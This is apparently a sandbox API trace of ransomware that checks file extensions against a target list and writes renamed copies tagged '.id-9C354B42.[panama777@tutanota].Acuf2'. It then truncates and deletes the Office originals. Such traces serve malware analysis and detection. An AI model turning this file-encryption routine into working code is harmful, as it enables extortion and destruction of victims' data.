	[0262.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60
	[0262.233] lstrlenW (lpString=".1cd") returned 4
	[0262.233] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0262.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60
	[0262.233] lstrlenW (lpString=".jpg") returned 4
	[0262.233] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0262.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60
	[0262.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60
	[0262.233] lstrlenW (lpString=".doc") returned 4
	[0262.233] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0262.233] lstrlenW (lpString=".docx") returned 5
	[0262.233] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1
	[0262.233] lstrlenW (lpString=".pdf") returned 4
	[0262.233] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0262.233] lstrlenW (lpString=".xls") returned 4
	[0262.234] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0262.234] lstrlenW (lpString=".xlsx") returned 5
	[0262.234] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1
	[0262.234] lstrlenW (lpString=".ppt") returned 4
	[0262.234] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0262.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60
	[0262.234] lstrlenW (lpString=".zip") returned 4
	[0262.234] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0262.234] lstrlenW (lpString=".rar") returned 4
	[0262.234] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0262.234] lstrlenW (lpString=".bz2") returned 4
	[0262.234] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0262.234] lstrlenW (lpString=".7z") returned 3
	[0262.234] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0262.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60
	[0262.234] lstrlenW (lpString=".dbf") returned 4
	[0262.234] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0262.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60
	[0262.234] lstrlenW (lpString=".1cd") returned 4
	[0262.234] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0262.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60
	[0262.234] lstrlenW (lpString=".jpg") returned 4
	[0262.234] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0262.234] lstrcmpiW (lpString1=".HXC", lpString2=".Acuf2") returned 1
	[0262.234] lstrlenW (lpString="INFOPATHEDITOR_COL.HXC") returned 22
	[0262.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0262.235] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=666) returned 1
	[0262.235] CloseHandle (hObject=0x330) returned 1
	[0262.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc")) returned 0x20
	[0262.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0262.235] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.235] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0262.235] GetLastError () returned 0x0
	[0262.235] ReadFile (in: hFile=0x330, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x29a, lpOverlapped=0x0) returned 1
	[0262.238] WriteFile (in: hFile=0x360, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x2a0, lpOverlapped=0x0) returned 1
	[0262.239] ReadFile (in: hFile=0x330, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.239] WriteFile (in: hFile=0x360, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x100, lpOverlapped=0x0) returned 1
	[0262.239] SetEndOfFile (hFile=0x360) returned 1
	[0262.239] CloseHandle (hObject=0x360) returned 1
	[0262.239] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.239] SetEndOfFile (hFile=0x330) returned 1
	[0262.241] CloseHandle (hObject=0x330) returned 1
	[0262.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc")) returned 1
	[0262.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70
	[0262.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70
	[0262.242] lstrlenW (lpString=".doc") returned 4
	[0262.242] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0262.242] lstrlenW (lpString=".docx") returned 5
	[0262.242] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0262.242] lstrlenW (lpString=".pdf") returned 4
	[0262.242] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0262.242] lstrlenW (lpString=".xls") returned 4
	[0262.242] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0262.242] lstrlenW (lpString=".xlsx") returned 5
	[0262.242] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0262.242] lstrlenW (lpString=".ppt") returned 4
	[0262.242] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0262.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70
	[0262.242] lstrlenW (lpString=".zip") returned 4
	[0262.242] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0262.242] lstrlenW (lpString=".rar") returned 4
	[0262.242] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0262.242] lstrlenW (lpString=".bz2") returned 4
	[0262.242] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0262.242] lstrlenW (lpString=".7z") returned 3
	[0262.242] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0262.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70
	[0262.243] lstrlenW (lpString=".dbf") returned 4
	[0262.243] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0262.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70
	[0262.243] lstrlenW (lpString=".1cd") returned 4
	[0262.243] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0262.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70
	[0262.243] lstrlenW (lpString=".jpg") returned 4
	[0262.243] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0262.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70
	[0262.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70
	[0262.243] lstrlenW (lpString=".doc") returned 4
	[0262.243] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0262.243] lstrlenW (lpString=".docx") returned 5
	[0262.243] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0262.243] lstrlenW (lpString=".pdf") returned 4
	[0262.243] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0262.243] lstrlenW (lpString=".xls") returned 4
	[0262.243] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0262.243] lstrlenW (lpString=".xlsx") returned 5
	[0262.243] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0262.243] lstrlenW (lpString=".ppt") returned 4
	[0262.243] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0262.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70
	[0262.243] lstrlenW (lpString=".zip") returned 4
	[0262.243] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0262.243] lstrlenW (lpString=".rar") returned 4
	[0262.243] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0262.243] lstrlenW (lpString=".bz2") returned 4
	[0262.243] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0262.243] lstrlenW (lpString=".7z") returned 3
	[0262.243] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0262.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70
	[0262.243] lstrlenW (lpString=".dbf") returned 4
	[0262.244] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0262.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70
	[0262.244] lstrlenW (lpString=".1cd") returned 4
	[0262.244] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0262.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70
	[0262.244] lstrlenW (lpString=".jpg") returned 4
	[0262.244] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0262.244] lstrcmpiW (lpString1=".HXT", lpString2=".Acuf2") returned 1
	[0262.244] lstrlenW (lpString="INFOPATHEDITOR_COL.HXT") returned 22
	[0262.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.248] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=214) returned 1
	[0262.249] CloseHandle (hObject=0x35c) returned 1
	[0262.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt")) returned 0x20
	[0262.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.249] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.249] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0262.249] GetLastError () returned 0x0
	[0262.249] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xd6, lpOverlapped=0x0) returned 1
	[0262.250] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0262.251] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.251] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x100, lpOverlapped=0x0) returned 1
	[0262.251] SetEndOfFile (hFile=0x358) returned 1
	[0262.251] CloseHandle (hObject=0x358) returned 1
	[0262.251] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.251] SetEndOfFile (hFile=0x35c) returned 1
	[0262.254] CloseHandle (hObject=0x35c) returned 1
	[0262.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt")) returned 1
	[0262.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70
	[0262.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70
	[0262.254] lstrlenW (lpString=".doc") returned 4
	[0262.254] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0262.254] lstrlenW (lpString=".docx") returned 5
	[0262.254] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0262.254] lstrlenW (lpString=".pdf") returned 4
	[0262.254] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0262.254] lstrlenW (lpString=".xls") returned 4
	[0262.254] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0262.254] lstrlenW (lpString=".xlsx") returned 5
	[0262.254] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0262.254] lstrlenW (lpString=".ppt") returned 4
	[0262.254] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0262.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70
	[0262.255] lstrlenW (lpString=".zip") returned 4
	[0262.255] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0262.255] lstrlenW (lpString=".rar") returned 4
	[0262.255] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0262.255] lstrlenW (lpString=".bz2") returned 4
	[0262.255] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0262.255] lstrlenW (lpString=".7z") returned 3
	[0262.255] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0262.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70
	[0262.255] lstrlenW (lpString=".dbf") returned 4
	[0262.255] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0262.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70
	[0262.255] lstrlenW (lpString=".1cd") returned 4
	[0262.255] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0262.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70
	[0262.255] lstrlenW (lpString=".jpg") returned 4
	[0262.255] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0262.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70
	[0262.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70
	[0262.255] lstrlenW (lpString=".doc") returned 4
	[0262.255] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0262.255] lstrlenW (lpString=".docx") returned 5
	[0262.255] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0262.255] lstrlenW (lpString=".pdf") returned 4
	[0262.255] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0262.255] lstrlenW (lpString=".xls") returned 4
	[0262.255] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0262.255] lstrlenW (lpString=".xlsx") returned 5
	[0262.255] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0262.255] lstrlenW (lpString=".ppt") returned 4
	[0262.255] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0262.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70
	[0262.255] lstrlenW (lpString=".zip") returned 4
	[0262.256] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0262.256] lstrlenW (lpString=".rar") returned 4
	[0262.256] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0262.256] lstrlenW (lpString=".bz2") returned 4
	[0262.256] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0262.256] lstrlenW (lpString=".7z") returned 3
	[0262.256] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0262.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70
	[0262.256] lstrlenW (lpString=".dbf") returned 4
	[0262.256] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0262.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70
	[0262.256] lstrlenW (lpString=".1cd") returned 4
	[0262.256] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0262.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70
	[0262.256] lstrlenW (lpString=".jpg") returned 4
	[0262.256] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0262.256] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0262.256] lstrlenW (lpString="INFOPATHEDITOR_F_COL.HXK") returned 24
	[0262.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.256] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=114) returned 1
	[0262.257] CloseHandle (hObject=0x35c) returned 1
	[0262.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk")) returned 0x20
	[0262.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.257] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.257] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0262.257] GetLastError () returned 0x0
	[0262.257] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x72, lpOverlapped=0x0) returned 1
	[0262.263] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0262.264] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.264] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x104, lpOverlapped=0x0) returned 1
	[0262.264] SetEndOfFile (hFile=0x358) returned 1
	[0262.264] CloseHandle (hObject=0x358) returned 1
	[0262.264] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.264] SetEndOfFile (hFile=0x35c) returned 1
	[0262.269] CloseHandle (hObject=0x35c) returned 1
	[0262.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk")) returned 1
	[0262.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72
	[0262.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72
	[0262.269] lstrlenW (lpString=".doc") returned 4
	[0262.269] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0262.269] lstrlenW (lpString=".docx") returned 5
	[0262.269] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0262.270] lstrlenW (lpString=".pdf") returned 4
	[0262.270] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0262.270] lstrlenW (lpString=".xls") returned 4
	[0262.270] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0262.270] lstrlenW (lpString=".xlsx") returned 5
	[0262.270] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0262.270] lstrlenW (lpString=".ppt") returned 4
	[0262.270] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0262.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72
	[0262.270] lstrlenW (lpString=".zip") returned 4
	[0262.270] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0262.270] lstrlenW (lpString=".rar") returned 4
	[0262.270] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0262.270] lstrlenW (lpString=".bz2") returned 4
	[0262.270] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0262.270] lstrlenW (lpString=".7z") returned 3
	[0262.270] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0262.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72
	[0262.270] lstrlenW (lpString=".dbf") returned 4
	[0262.270] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
